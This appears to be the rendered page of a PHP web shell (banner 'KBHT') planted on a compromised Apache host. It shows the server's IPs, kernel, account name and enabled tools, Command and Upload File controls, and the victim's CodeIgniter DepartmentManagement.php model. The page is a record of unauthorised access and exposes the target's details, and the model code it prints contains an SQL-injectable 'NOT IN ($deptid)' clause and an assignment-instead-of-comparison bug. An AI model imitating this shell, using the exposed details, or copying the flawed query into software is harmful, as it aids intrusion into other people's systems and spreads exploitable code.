GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.133.117.113
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/pdf/../../jobs/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/pdf/../../jobs/application/models/admin/DepartmentManagement.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of DepartmentManagement
 *
 * @author Softpro India Pvt. Ltd
 */
class DepartmentManagement extends CI_Model {

    //put your code here
    function saveDepartment($departmentData) {
        $this->db->insert("department_mst", $departmentData);
        return $this->db->insert_id();
    }

    function getDepartments($dm_active_status = '', $dm_delete_status = '') {
        $this->db->select("*");
        $this->db->from("department_mst d");
        if ($dm_active_status = '') {
            $this->db->where("dm_active_status", $dm_active_status);
        }
        if ($dm_delete_status != '') {
            $this->db->where("dm_delete_status", $dm_delete_status);
        }
        $this->db->order_by("dm_name", "ASC");
        return $this->db->get();
    }

    function getDepartmentByID($deptid) {
        $this->db->select("*");
        $this->db->from("department_mst");
        $this->db->where("dm_id", $deptid);
        return $this->db->get();
    }

    function updateDepartment($departmentData, $deptid) {
        $this->db->where("dm_id", $deptid);
        return $this->db->update("department_mst", $departmentData);
    }

    function getDepartmentByName($deptname, $deptid = '') {
        $this->db->select("*");
        $this->db->from("department_mst");
        $this->db->where("dm_name", $deptname);
        if ($deptid != '') {
            $this->db->where("dm_id NOT IN ($deptid)");
        }
        return $this->db->get();
    }

    function getDepartmentByCategory($cm_id) {
        $this->db->select("*");
        $this->db->from("department_mst");
        $this->db->where("dm_active_status", "T");
        $this->db->where("dm_delete_status", "F");
        $this->db->where("cm_id", $cm_id);
        return $this->db->get();
    }

}

KBHT - 2023